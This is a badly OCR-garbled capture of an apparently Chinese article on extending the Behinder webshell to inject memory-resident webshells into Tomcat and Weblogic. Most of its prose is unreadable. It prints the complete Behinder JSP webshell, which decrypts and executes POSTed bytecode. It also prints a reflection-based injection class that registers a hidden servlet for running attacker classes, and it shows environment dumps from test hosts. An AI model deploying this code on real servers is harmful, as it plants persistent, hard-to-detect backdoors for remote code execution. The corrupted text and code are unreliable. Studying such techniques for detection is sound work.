FEERNZFSEAN & KIGEE

(RETE A )

EKISRARBEM L, 1BINTREFESEANZS.

RXEBAVEEINEMN ISP ANVEARTFE, SRFEIICIFREFNBLE
BRBBAEMN EXP FHRTERRBAIERIR,

0,
IEAS

RO S NS RTERRIAR TIE, IhEEABREL!

| BAER | meUT | MR | HEIR | SRR Rifshell | BISREIR | BENRP  EARGTD TREDE SR ERE8

; Files (x86)\NVIDIA Corporation\PhysX'Common;C:\Program Files\NVIDIA Corporation NVIDIA

2 ALLUSERSPROFILE=C:\ProgramData

= http//localhost:8081/bx_test_war_exploded/asdfdadvidfd - [m] X

VL1 Ettp://localhost:8081/bx test war exploded/asdfdadvfdfd ] =3t

FHER

USERPROFILE=C:\Users\Administrator

JAVA HOME=C:\Java\jdk1.7.0_15

IDEA INITIAL DIRECTORY=D:\java\za\UK45\bx3

SystemDrive=C:

CURRENT DIR-] a\apache-tomcat-8.5.57'\bin

~RUNJDB="C:\Java\jdk1.7.0 15\bin\jdb.exe"

Path=C:\Program Files (x86)\Common Files\Oracle\Java'javapath;C:\Program
Files\Java\jdk1.8.0_191\bin;C:\ProgramData'\Oracle'Java‘javapath;C:\python36\Scripts\;C:\python36\;C:\Windows'system32;C:\Windows:C:\Windows\

NvDLISR;C:\python27\;C:\ProgramData\Oracle\Java\javapathaaa;C:\phpStudy\PHP Tutorial \php\php-7.0.12-
nts;C:'\Users\Administrator\AppData\Local\Microsoft\ Windows Apps:C:\Program
Files\Bandizip\;C:\Users'Administrator' AppData\Local\Prog Microsoft VS Code\bin;C:\Program Files\JetBrains\Intelli] IDEA
2020.1.4'bin;;C:\Users'\Administrator\AppData‘Local\GitHubDesktop\bin

PROCESSOR REVISION=6001

GameTurbo=C:\Program Files (x86)\ASUS\GameFirst\

USERDOMAIN=LAPTOP-CE14UIVC

ACTION=start
CATALINA BASE=C:\Users\Administrator\ AppData\l ocal\JetBrains\IntelliJIdea2020.1\tomcat\ Tomeat 8 5 57 bx test
SESSIONNAME=Console
TMP=C:\Users'\ADMINI - l\AppData\Lucal\Tcmp

EXE(‘JAVA—“C WJava\jdk1.7.0_15\bin\java.exe"
C ommon!’mgnml iles=C:\Program Files\Common Files
LOGONSERVER-\LAPTOP-CE14UIVC
PROMPT=SPSG
LOGGING MANAGER=-Djava.util.logging. manager=org.apache.juli.ClassLoaderL.ogManager
PROCESSOR_LEVEL=23
USERDOMAIN ROAMINGPROFILE=LAPTOP-CE14UIVC
CATALINA TMPDIR=D:\java‘apache-tomcat-8.5.57\temp
LOCALAPPDATA=C:\Users\Administrator'AppData\Local
COMPUTERNAME=LAPTOP-CE14UIVC
SystemRoot=C:\Windows
IntelliJ IDEA-C:\Program Files\JetBrains\Intelli] IDEA 2020.1.4'bin;
USERNAME Adlmruslralor

>

ERInAzh 7§ v30 Betad By rebeyond

e http://192.168.33.130:7001//wls-wsat/sdfefaef

URL:  http://192.168.33.130:7001 //wls-wsat/slifefaef

EAER | U7 ElRIn | XHEE | NKERE | fGfishell | HUEEEE  BENMMNB |

JAVA HOME=C:\PROGRA~1\Java\IDK17~1.0 1

OCP371 PATCH PATH=C:\Oracle\MIDDLE~1'\patch ocp371\profiles\default
=ExitCode=00000000

JAVA PROPERTIES=-Dplatform.home=C:\Oracle MIDDLE~1'"WLSERV~1.3
Dweblogic.home=C:\Oracle MIDDLE~1\WLSERV~1 3\server -Dweblogic.man
JAVA VM=-client

SERVER NAME=AdminServer

Path=C:\OracletMIDDLE~1\patch wls1036'\profiles‘default\native;C:\Oracle\M
Files\Java\jdk1.8.0 191\bin\;C:\Oracle\ MIDDLE~ I\WLSERVn« 1.3\server\native
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— . JKIBRRS BT RAEEX (USP HHX)

1. 7K#8 JSP Webshell T{ERIE
2. KIBEBEEDS T (JSP)
(1) BR4H

(2) shell E#ZiniE
(3) IKIB RN YR IE R F T RS LI R IR
3. 18
(1) FBINEESEX Ul 88
(2) BFAFIEINEE
(3) EiX equal HIEEMAFDIEAN
PS: NFSHNER
—. Tomcat REZEN
1. PR ESR
2.Tomcat Filter FiTE D
(1) Filter faf
(2) Tomcat filter JRIB
(3) LI filter SEN
1. M pagecontext F3KEX context
2. 181d Mbean 3RBX context
3.threade3am 753A3REX context
F: AEAT tomecat6 tIAA]
=. Weblogic ITZEZiEAN
M. SE8%

— . JKESTERS BT B AE R (JSP 1H%)
1. JK#8 JSP Webshell T {E[EIE

KIS NS RGN AL M —aERDNBRRFHIERT
XKJ1%F webshell TRERERNEH, &5HA1E RSN

<%¥@page import="java.util.* javax.crypto.*,javax.crypto.spec.
*Ms
<%!class U extends ClasslLoader{

U(ClassLoader c){super(c);

3

public Class g(byte [1b){

return super.defineClass(b,@,b.length);

3
%>
<%if (request.getMethod().equals("POST")){

String k="1a1dc91c907325c6" ; /B AN EIZRZHIE32Umd5ERAEIL16
fiI, FRINEEZBrebeyond*/

crnecevman A VAT AT Y



DLOILUVIl. ULVYULULN U I\ J)H
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new s
un.misc.BASE64Decoder().decodeBuffer(request.getReader().read
Line()))).newInstance().equals(pageContext);
%>

E—ERIERAIET U 4% ClassLoader , AEEEX—1H&
N g WAEE, BRFTHHALRINSEHERRER defineClass
ST FETI8IRE Class SR, RELHIMIZEHFER equals
7%, 1EN jsp L X HH) pageContext 335, EHh bytecode
ERKIEEFPIRAEZERSIHNF Y, KEEIEFmARIER
[, 3KRBX post BB, kg™, 7AfG base64 f#hY, FRER—E
bytel[l, #A/FEH difineClass, 3XKEXE|— Class, J4H
newlInstance fg, JREXZEIZ, ZEFEE T equals /7%, equals
BiERES—1SE, 2 pageContext, HILXt# 7T, R
%1% pageContext #7, {ERJLAEHEIREX Request. Response.
Seesion 3%, Ul HttpServletRequest request=
(HttpServletRequest) pageContext.getRequest(); &xEHTER
IR [E]

2. KBRS EE D (JSP)

BANRIBRIZ LI JSP iRAHAFESEAN, FRURIEEAIER
JSP HXEBT

(1) BR%EH

BN ERB MR

-

EREERKIBRIG, RZAI—XRZNER 2.0 RANYIE, A
LT E, ERKEZIPIMPEBREE, B Utils



getKeyAndCooiek /A, BH—R, BHEIEE, BRXM®EESE
7£ shell B ,

BT REXEREE 3.0, EEDHT JSP Webshell {2EIEFins
RERBIm—TINEENEEE, RIImERE, 55— byte[] X
&, BIAA defineClass &15%I—" Class, X Class, #fil&
B ATEKIBIRIB B EIRY, 7E payload/java XK T

iShell
Crmd

ConnectBack

2k shell B &ERfE, KEEBERARERINEN, S17I18ES
EERXME——3N, EXXARATE, BIUEERN, BSER

Echo.java MKz BasicInfo.java
(2) shell EZ R
BATRER T B ILEIZRIRTE

=M= \ M



=H/JLAESNH

net.rebeyond.behinder.ui.controller.MainWindowController,

IR doConnect:184, ShellService, BIIAEZIE IR shell B9%E

BER, BIXERE Jsp,

4 Thread java




EXERMREHRAILAESR], &8I echo HERQNERES
ThEar

obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
result = true;

}

FATIR# this.echo F53% echo:964, ShellService

echo HERIFNEGIREE T, KIBREREEFENE payload 53
RIFR class X1, AENER, KRIEFIRSIHHITHSHIT,

echo HEHITERRFEEX EIE] doConnect:186,
ShellService, AILAEZIR[E] true, RBRZEIZMIN, XEIRE—
=, MBREEARRD, KBEHEN 2.0 lRARENZANERIE,
XthEEX 2.0 W— P RAME,




doConnect AENITE R, [EIE] lambda$1:110,
MainWindowController 8 getBasicinfo, KEEREFE, XK

£ payload EEFZ Basiclnfo.java X4

getBascicInfo f&, #IaLETINEE, ¥IAERIRRS




o hitpi//192.168.33.134:8080/11,jsp - O X

EL1ER R tto://192.168.33.134:8080/11 jsp | e

HAMER &7 WELEE XAEE | ARES | Rshell | MIBFETE BEMERE EARED | FEDE SER WREE

TR
USERPROFILE=C:\Users\Administrator
JAVA HOME=C:\Program Files\Java\jdk1.7.0 15
EXECUTABLE=C:\apache-tomcat-8.5.57\bin\catalina bat
SystemDrive=C:
CURRENT DIR=C:\apache-tomcat-8.5.57\bin

RUNJIDB="C:\Program Files\Java\jdk1.7.0_15'bin\jdb.exe"
Path=C:\ProgramData\Oracle'Java'javapath;C:\Windows\system32;C:\Windows:C:\Windows'\System32\Whbem:C:\Windows'System32\WindowsPower!
Files\Java\jdk1.8.0_74\bin\
PROCESSOR_REVISION=6001
USERDOMAIN=WIN-UNCA29D8586
ALLUSERSPROFILE=C:\ProgramData
ACTION=start
CATALINA BASE=C:\apache-tomcat-8.5.57
SESSIONNAME-Console
TMP=C:\Users\ADMINI~1'AppData\Local Temp

EXECJAVA=start "Tomcat" "C:\Program Files\Java\jre7'bin'java.exe"
CommonProgramFiles—C:\Program Files\Common Files
LOGONSERVER=\\WIN-UNCA29D8586
PROMPT=SPSG
LOGGING MANAGER=-Djava.util.logging manager=org.apache juli.ClassLoaderLogManager
PROCESSOR _LEVEL-23
CATALINA_TMPDIR=C:\apache-tomcat-8.5.57\temp
LOCALAPPDATA=C:\Users\Administrator'\AppData‘Local
COMPUTERNAME=WIN-UNCA29D8586
SystemRoot=C:\Windows
USERNAME=Administrator
APPDATA-C:\Users\Administrator\AppData‘Roaming
ProgramData=C:\ProgramData
PATHEXT=.COM; EXE: BAT;.CMD;.VBS;.VBE: IS, JSE: WSF: WSH: MSC
windows_tracing_logfile=C:\BVTBin\Tests\installpackage'csilogfile log
ProgramFiles(x86)—=C:\Program Files (x86)
windows tracing flags=3
TEMP=C:\Users\ADMINI-~1'AppData‘Local\Temp
ProgramFiles=C:\Program Files

BRI k48 v3.0 Beta4 By rebeyond

Sl papE3nt=s
(3) WK YR IR F T RS LRI

KIBEFinels java KIBISHRIFERFETL, ARNBRIZALRS
i, LA Basiclnfo.java J{4l

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package net.rebeyond.behinder.payload. java;
public class BasicInfo {
public static String whatever;
public BasicInfo() {
3
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
page.getResponse().setCharacterkEncoding("UTF-8");
String result = "";
try {
} catch (Exception varl5) {
varl5.printStackTrace();



return true;

ks
public static byte[] Encrypt(byte[] bs, String key) throw
s Exception {

return encrypted;

}

private String buildJson(Mapentity, boolean encode) throw

s Exception {

return sb.toStringQ);

Basiclnfo HH1Z7E public static T8, FFimNSHERSIHIAT
RISRTERER, 8T params SE1Ei%

public String getBasicInfo(String whatever) throws Exception

{

String result = "";

Map String> params = new LinkedHashMap();

params.put("whatever", whatever);

byte[] data = Utils.getData(this.currentKey, this.encrypt
Type, "BasicInfo", params, this.currentType);

Map Object> resultObj = Utils.requestAndParse(this.curren
tUrl, this.currentHeaders, data, this.beginIndex, this.endInd
ex);

byte[] resData = (byte[])((byte[])resultObj.get("data"));

try {

result = new String(Crypt.Decrypt(resData, this.curre
ntKey, this.encryptType, this.currentType));
return result;
} catch (Exception var8) {
var8.printStackTrace(Q);
throw new Exception("i&EREM:" + new String(resData,
"UTF-8"));

3

3

XYL £ 32 JSP Webshell THRREBHIDT, B inEISHETTEE
java fNR3f5, 4§ Java 8, tRIEE Basicinfo XRIFNFT
BN &EARS IR, RSB defineClass—>newlinstance 3k
BXZl BasicInfo 3%, AR Basicinfo B equal /&%, ESE
obj, thFiE PageContext {EifZ, XHEFAIAIREY request
Resopose Session FX &R, AEH—DTHIT equal FRIKIEE
5, BHITEREN response, HINZIREILAEF .

3. 1824

BHEFREDTTE, 245 —0EME KBRS IRREMR T — T T
£ java fUIEBHIIME. FRMER A UM EBAINFSIEANZSEE
RBEEREGIRSIREIR, BHMERE equal 5iEH.



EARFDETLKIBIEINT —1INEE, DA=FLIUFK

3

FIBIhEEEMEEX Ul 35
IR IKIBAERINEEER RS, TR FIEINEE
B equal HIEZHREDEAN

(1) FrBINEERZR Ul 885

IKIBE TN INBERIWIIA L 27
net.rebeyond.behinder.ui.controller.MainWindowController #9,
XEHEN T ABEMEN xml X, BEREFT=BINEEERIAE
EAN

AEA idea B Ui friEss 1B LEIEL AT

(2) JEAFTEINGE

FoRER T KSR A IhEERT AN %... 47748

lambda$1:64, ParallelViewController (net.rebeyond.behinder.u
i.controller)

run:-1, 392926346 (net.rebeyond.behinder.ui.controller.Parall
elViewController$$Lambda$595)

run:745, Thread (java.lang)



HIL, 7KL ISR E RN RER R R AR IRTE 7 #Diaft 5

FNREE(E N ParallelViewController, J&igfMITEH GEAA
F5igH) EwEA B ElTEle,

initRealPar

WME, ARINGE TIREMS, WETHIHEEREN shell, FE—T
o8 this.currentShellService, BXER 7 HaiY shell EiE

Bl ShellService 2, FHA1RZFELE ShellService FFES A
getinjectwebshell 17T,

NG T T1 AATSITTI TLOA /2 22 ¥R 1=+ 4+ IHNLhB -+ T On A=



ITAT IR /X IO Z 2R L, 17X/ 8Ny A8 /o 21T NRZT

ImAATHY java X3

jectwebshell(String url,String password

MR payload/java BR THEMKINEET, BNEEE
payload BFE TEEHENAINEEN A Injectwebshell_tomcat, #A/G

KISHE, MNEBREEIRS .

getinjectwebshell x§2{{HS

byte[] data = Utils.getData(this.currentKey, this.encryptTyp
e, "Injectwebshell_tomcat_skay", params, this.currentType);
MapresultObj = Utils.requestAndParse(this.currentUrl, this.cu
rrentHeaders, data, this.beginIndex, this.endIndex);

(3) EiX equal FIEZIMAEFEDEN

]
AN

REMEMIA] Injectwebshell_tomcat, IREEINEESXHHEE,
TERBENIBIEBIE equals FIEFENT], BARIBENSER
EREEFAR, EMEELEXS)




PS: AFBRNER

AEDIARDE, RFSERERNKIESTUEEN, HIH
EIBEKISH JSP IRSZIFIEAEY java 1248, MIEBMRSERNE
FRiz{TENR], A Tomcat. Weblogic 2@ ahZEM Filter 5

NLMAEFEDEN, FTARZR KBRS IHIZIEIGTE Filter R
doFilter AL,

equal 5%, 1|§E5UU fuck Hlja'

RS, EFPHEETINEHRZIEMRNIEI fuck 777AREINIZE

—. Tomcat ATEEFEAN

RIEN EAFRIERR, Tomcat IFEEEANEMMHMER, i3
Servlet, ohi&EA Filter, FEXEH(TRIT1L Filter F‘Q,EE)\PW;?
g,

1 DNAFIAEE TR



R L B B b el e

SEBR

https://mp.weixin.qg.com/s/DMVcqtiNG9gMdrBUyCRCgw

2. Tomcat Filter SRF2DHT

(1) Filter @7

Filter 2R —1SLI T Filter O/ Java £, 5 Servlet i2F1H
1, BB Servlet FEFFHTREABFMIT, X1 Servlet TiRZEMEEK
1189 filter, HTE web.xml FEM T — Filter RIFE Serviet 72
it TIZ 8 b ERY, X Filter BiAX T Tomcat 5% Serviet 125
HOBIS4& 8 ER—E XK, 1% Filter AILAYT Serviet B3 K %LA
Servlet F2FHVIERF Servlet F2F 1%L Servlet B3N 1T
8, TTURERDFIERPBLEERL Serviet i2F, URIIEK
FENEEEEHITEN,

WehE e Hﬁ%ﬁ filter] filter2 Servlet

(2) Tomcat filter JREB O
DT ZBIF 4R 25 5 23 A 0 R IR L v e B IHEE

Filter 33888120 — Filter BEME—1 Java Z, XN
ENLI Filter #5[0, javax.serviet.Filter #EOHFENXT
=N init(Web F23EIE Filter BISLHIISR/E, JEILED
TARA1Z Filter IRAY init 733%). doFilter(H— Filter 3%
BEOZILEVIH A IERET, Serviet B2 Filter &R
doFilter /7%). destory(iZ/3/57E Web B 2sE%; Filter X7
KRZBIEIER).

FilterChain 33 E225% FilterChain g E— doFilter()
3%, A ENIEBRiL Filter 8 F A YBNTESRMIT, &
FRFNT— Filter.Filter ] FilterChain Z2Aa] 4y, Filter


https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&mid=2247483904&idx=2&sn=54816dea223e3195867366b180572ba1&scene=21#wechat_redirect

AIASEHMORE A IEE R 798 1 FilterChain

FilterConfig i3 iSZ8 VAL E, 5B Servlet F2F—1#,
Filter F2 R AT REFZE 58] Servlet B33, Serviet #HSTN
£ & ServletContext I&RF Filter REL B S LS B# T2
El—"FRA7 FilterConfig ISR A, FilterConfig 1M A

FENX FilterConfig }ZREIZNIMRHIIFIE, MEE
Filter 2= a] DL IXLE 75 /AR IREY ServietContext 5
R, MARIRERTE web.xml XA Filter IR E R IFZFRH]
a4

FilterDef & & a3RYED B MR

ApplicationFilterChain &Y g2 5%

ApplicationFilterConfig KRBT 823

ApplicationFilterFactory ZH%&5d i 285E
BB EEREENZE

IWebXml MBZFHATAI AR E X —T1F web.xml FRAE
RES

ContextConfig —> web N A ETXEEZE

StandardContext —> web WA T3 (Context ¥0) 19
FREESEIR

StandardWrapperValve —MF Wrapper I, —7
EFTFX—RBIE—HEZ I ERE, TMERBRR—

™ servlet,

Filter B9ECE7E web.xml 1, Tomcat BT ContextConfig
B2 WebXML BISLHISEARMT web.xml, %Eﬂbﬂﬁ/l\ﬁﬂﬁ, =RE2ETS
JERBTE StandardWrapperValve, 7EXE STV IER
k.

B, ST — T NATIERE




BANEH XN AR, BIONBID SR AS I EEMNRINE
A, =25 filterChain R[]

filterMaps & filtermap B9ERE, FITUET filtermap BIEUIELEHS

FilterMap 1% 7 Filter BN RFRFIFTEIZERY url BIIENIFRIAT 4k
FET OB, J_ 7 FilterMap H&—11, EMA
matchFiltersURL iXMEREY, EWAEIFEKAEY url A Filter RRZE=
HAENRAXEE T




(!matchFiltersURL(filterMap, reguestPath))

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)

ANRITESEE, NMEE context.findFilterConfig /5iAAEH filter
XN YRR REE T E, B IMEIREE T
filterConfig(ApplicationFilterChain), T©HZMWT, BEEA
filterdef LA K filter 34

B/5%% filterconfig i ZE filterChain 1, XEBZET
filterChain.addFilter(filterConfig); /&

addFilter(ApplicationFilterConfig filterConfig) {

Zth, filterChain B3E52EE, @3

org.apache.catalina.core.StandardWrapperValve, #11T doFilter
AT RS



(18R org.apache.catalina.core.ApplicationFilterChain
doFilter &7, BHIEKRIEAT internalDoFilter, BiZ%&

internalDoFilter

Filter Z&5R1AMA, FRilF~

EfERRF PRIV —IKEM—1 54



matchFiltersURL H ApplicationFilterChain

StandardWrapperValve ApplicationFilterFactory context

FEEWFilterChain

HRIFiterMap , Filter® B 1 £ liun

¢ 38 B 2% i context ®R i 8 fFilterMap
29 R B & SFiterdy & Fun TR )

WRER

EEH SIRFiterContig , 3

EEFilterChain

A Rchain.doFitter s &

i intemalDoFilters &
FKEXFiterConfigh! B 89Fiiter

A Filter. doFilter

ikl

matchFitersURL ‘ mﬁneatieﬁfﬁ?{ Chain

StandardWrapperValve ApplicationFilterFactory context i

(3) I filter SEN

3+ Tomcat &M filter B 7 —1EMIN T 25, MEBNEXM
filter IZEN, [EIIZ—TFRIZ Tomcat &R Fliter B9RTE, FH*X

F—F context =, tHFELE StandardContext I=1lRAZTE

Bl

StandardContext y web N F TXZE, EFEFE=1HAZT
0 filter ¥8%

filterConfigs: filterConfig B9%X4H filterconfig BEEA
filterdef DAK filter 338

filterRefs: filterRef BYEN4R FilterDef BI{ERFE NI IA
filter WFRFERFRES Filter ZHIFK R

filterMaps: filterMap B9%14H (FilterMap FZ T FiB
filter XI5 E B3 filterName #[ urlPattern, B 7 iXLE
ZJ5, {EF matchFiltersURL REES filter F1Za]



URL #1TICES, FTECRLINAGIEY) filterConfig FA1&ET,
XEBFE, filterConfig.filterRef SEFRF context.filterRef
@Attt —F, tIMER—T%RA

WRHREBX=17%2, thiFMeEXIBEN,
& E StandardContext &L,
StandardContext.addFilterDef() BJ LA{EE4 filterRefs

StandardContext.filterStart() RESIRIE filterDef B4
Bk filterConfigs

ZF filtermaps, HIZEAM new —1 filter I{ANRIENAE—
WG

B 21824 filterRefs 1 filterConfigs

Method filterStartMethod = org.apache.catalina.core.StandardC
ontext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);

SRIREEX filtermaps

AEEIE—R, BERAA addfilter sHMEE, BRANTF

context M REM—LERIE,

if (!'context.getState().equals(LifecycleState.STARTING_PREP))



//TODO Spec breaking enhancement to ignore this restricti
on
throw new IllegalStateException(
sm.getString("applicationContext.addFilter.ise",
getContextPath()));

BEBITINE

Field stateField = org.apache.catalina.util.LifecycleBase.cla
ss

.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.Lifecycle
State.STARTING_PREP);
addfiltertiiTREE, BEFIRSRER
stateField.set(standardContext, org.apache.catalina.Lifecycle
State.STARTED);

1. M pagecontext F3KEX context

FXE, EMNESKLXMINENRT context W&, R=E—" o)
context S RIEANVEAIREL,

BZ2—T, sIEA filter IR IBZ BB KB AR IFS FEHIBE
RSBIFHITHY, tHELE equal A3ER, equal FiEEI—15%
pagecontext, MIX P RFPFATATUINEYRI StandardContext
IR

ServletContext servletContext = page.getServletContext();
// System.out.println(servletContext);

//3KBlApplicationContext

Field field = servletContext.getClass().getDeclar
edField("context");

field.setAccessible(true);

ApplicationContext applicationContext = (Applicat
ionContext) field.get(servletContext);

//3RBXStandardContext

field = applicationContext.getClass().getDeclared
Field("context™);

field.setAccessible(true);

StandardContext standardContext = (StandardContex
t) field.get(applicationContext)

4R, Al Tomcat &EF JSP HHmEIEA filter SEH5TEE,

EREKIBE inject_tomcat fXIB3A0T (Eit Beichen & @S8R
hI[REE)

package net.rebeyond.behinder.payload. java;



//1mport com.sun.beans.decoder.rieldtlementHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArraylList;
public class Injectwebshell_tomcat6 extends ClasslLoader imple
ments Servlet {
public static String url;
public static String password;
public static String filtername;
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public Injectwebshell_tomcate() {3}
public boolean fuck(String k, ServletRequest request, Ser
vletResponse response, HttpSession session){
// PageContext page = (PageContext)obj;
PageContext page = null;
this.Session = page.getSession();
this.Response = page.getResponse();
this.Request = page.getRequest();
// System.out.println("ffffffffffffrffffrffrfffrfffffff
fEfffff");
String filterUrlPattern = url;
String filterName = filtername;

// String pass = password;
// System.out.printlnCurl+"  "+myfilter_string);
// System.out.printlnCurl+" ";
try {

ServletContext servletContext = page.getServletCo
ntext();
// ServletContext servletContext = (ServletContex
t) field.get(standardContext);
// System.out.println("11111");
// System.out.println(servletContext);

//3KBlApplicationContext

Field field = servletContext.getClass().getDeclar
edField("context™);

field.setAccessible(true);

ApplicationContext applicationContext = (Applicat
ionContext) field.get(servletContext);

//3KERStandardContext

field = applicationContext.getClass().getDeclared
Field("context™);

field.setAccessible(true);

StandardContext standardContext = (StandardContex
t) field.get(applicationContext);

if (standardContext != null) {

/MEBURES, BARRRIAR
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rreLa stactericia = org.dpacric.cactdaLina.uttitL. L

ifecycleBase.class
.getDeclaredField("state™);

stateField.setAccessible(true);

stateField.set(standardContext, org.apache.ca
talina.LifecycleState.STARTING_PREP);

//BIE— T BEXMServietD

Servlet my_servlet = new Injectwebshell_tomca
teQ;

//%Servlets

standardContext.getClass().getDeclaredMethod
("addChild", Container.class).invoke(standardContext,my_servl
et);

Method method;

try {

method = standardContext.getClass().getMe

thod("addServletMappingDecoded", String.class, String.class);

}catch (Exception e){

method = standardContext.getClass().getMe

thod("addServletMapping", String.class, String.class);

b

method.invoke(standardContext,filterUrlPatter
n,filterName);

// if (getMethodByClass(my_servlet.getClass
), "setServlet",Servlet.class) == null){
// init((ServletConfig)getFieldValue())
// }

3

} catch (Exception e) {
e.printStackTrace();
}
return true;
ks
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
this.Session = page.getSession();
this.Response = page.getResponse();
this.Request = page.getRequest();
// System.out.println("6666666666666666666666666666666
666666666666661") ;
String filterUrlPattern = url;
String filterName = filtername;

// String pass = password;
// System.out.printlnCurl+"  "+myfilter_string);
// System.out.printlnCurl+" ";
try {
ServletContext servletContext = page.getServletCo
ntext();
// System.out.println(servletContext);

//3REApplicationContext

Field field = servletContext.getClass().getDeclar
edField("context™);

field.setAccessible(true);

ApplicationContext applicationContext = (Applicat
ionContext) field.get(servletContext);

//3KBiStandardContext

field = applicationContext.getClass().getDeclared
Field("context");

field.setAccessible(true);

StandardContext standardContext = (StandardContex
t) field.get(applicationContext);

if (standardContext !'= null) {
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vbjJell O = gciriLcLavaLucsturiauralLoritcAt.gyciLo
ervletContext(), "context™);

Object newWrapper = this.invoke(standardConte
xt, "createWrapper", (Object[])null);

this.invoke(newWrapper, "setName", filterNam
e);

setFieldValue(newWrapper, "instance", this);

(Class containerClass = Class.forName("org.apa
che.catalina.Container", false, standardContext.getClass().ge

tClassLoader());
Object oldWrapper = this.invoke(standardConte
xt, "findChild", filterName);
if (oldWrapper != null) {
standardContext.getClass().getDeclaredMet
hod("removeChild", container(Class);
}
standardContext.getClass().getDeclaredMethod
("addChild", containerClass).invoke(standardContext, newWrapp
er);
Method method;
try {
method = standardContext.getClass().getMe
thod("addServletMappingDecoded", String.class, String.class);
} catch (Exception var9) {
method = standardContext.getClass().getMe
thod("addServletMapping", String.class, String.class);
3
method.invoke(standardContext, filterUrlPatte
rn, filterName);
if (this.getMethodByClass(newWrapper.getClass
O, "setServlet", Servlet.class) == null) {
this.transform(standardContext, filterUrl
Pattern);
this.init((ServletConfig)getFieldValue(ne
wWrapper, "facade"));

%
ks
} catch (Exception e) {
// e.printStackTrace();

ks

return true;
3
@0verride

public void init(ServletConfig servletConfig) throws Serv
letException {
3
@0verride
public ServletConfig getServletConfig() {
return null;
}
@0verride
public void service(ServletRequest req, ServletResponse r
esp) throws ServletException, IOException {
// System.out.println("Servliet##1T7....\n");
String k= password;
boolean test = false;
try{
HttpSession session = ((HttpServletRequest) req).
getSession();
session.putValue("u",k);
Cipher c = Cipher.getInstance("AES™");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
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QLILTY rcecudcl = 1cyg.gcincadcr).rcuadriricy,

// System.out.println(reader);
// System.out.println("\n\n\n this is reader\n
\n");

byte[] evilClassBytes = c.doFinal(new sun.misc.BA
SE64Decoder() .decodeBuffer(reader));
try {
test = null != Class.forName("net.rebeyond.be
hinder.core.U");

} catch (Throwable t) {
test = false;
}
if (test) {
Class Uclass = Class.forName("net.rebeyond.be
hinder.core.U");
System.out.println(Uclass.getClass());
Constructor tt = Uclass.getDeclaredConstructo
r(ClassLoader.class);
tt.setAccessible(true);
Object xx = tt.newInstance(this.getClass().ge
tClassLoader());
Method ttl = Uclass.getDeclaredMethod("g", by
te[].class);
ttl.setAccessible(true);
Class evilClass = (Class) ttl.invoke(xx, evil
ClassBytes);
Object a = evilClass.newInstance();
Method b = evilClass.getDeclaredMethod("fuc
k", String.class, ServletRequest.class, ServletResponse.clas
s, HttpSession.class);
b.invoke(a, k, req, resp, session);
return;
}else{
//RERRRT O
byte[] Uclassbate = new byte[] {-54, -2, -70,
-66, 0, 0, 0, 51, 0, 26, 10, 0, 4, 0, 20, 10, 0, 4, 0, 21, 7,
e, 22, 7, 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, @, 2
6, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 1
08, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 41, 86, 1,
e, 4, 67, 111, 100, 101, 1, 0, 15, 70, 105, 110, 101, 78, 11
7, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, @, 18, 76, 11
1, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 9
8, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, @, 30, 70, 110,
101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98,
101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47,
85, 59, 1, o0, 1, 99, 1, 0, 23, 76, 100, 97, 118, 97, 47, 108,
97, 110, 103, 47, o7, 108, 97, 115, 115, 76, 111, 97, 100, 10
1, 114, 59, 1, o, 1, 103, 1, 0, 21, 40, 91, 66, 41, 76, 100,
97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 11
5,59, 1, 0, 1, 98, 1, 0, 2, 91, 66, 1, 0, 10, 83, 111, 117,
114, 99, 101, 70, 105, 108, 101, 1, @, 6, 85, 46, 106, 97, 11
8, 97, 12, o, 5, 0, 6, 12, 0, 24, @, 25, 1, 0, 28, 110, 101,
1lle, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101,
104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85,
1, @, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 10
8, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 11, 100, 1
01, 102, 105, 110, 101, o7, 108, 97, 115, 115, 1, @, 23, 40,
91, o606, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 1
03, 47, o7, 108, 97, 115, 115, 59, @, 32, 0, 3, 0, 4, 0, 0,
o, o0, 0, 2, 0, 0, 0, 5, 0, 6, 0, 1, @0, 7, 0, 0, @0, 62, @, 2,
e, 2, 0, 0, 0, 6, 42, 43, -73, 0, 1, -79, 0, @0, @, 2, O, 8,
o, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 5, 0, 6, 0, 9, 0, @, 0, 22,

b b
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v, 1v, v, 11, VY, VY, ¥, ¥, ¥, 0, VY, 1, Y, 1
, 14, 0, 15, 0, 1, @0, 7, @, 0, @, 61, 0, 4,

